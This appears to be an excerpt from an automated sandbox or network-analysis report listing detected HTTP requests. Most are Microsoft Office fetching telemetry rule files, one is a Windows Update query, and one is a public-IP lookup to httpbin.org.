Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7VDkYBFS+RsHNE7&MD=Hwtk8Gd+ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
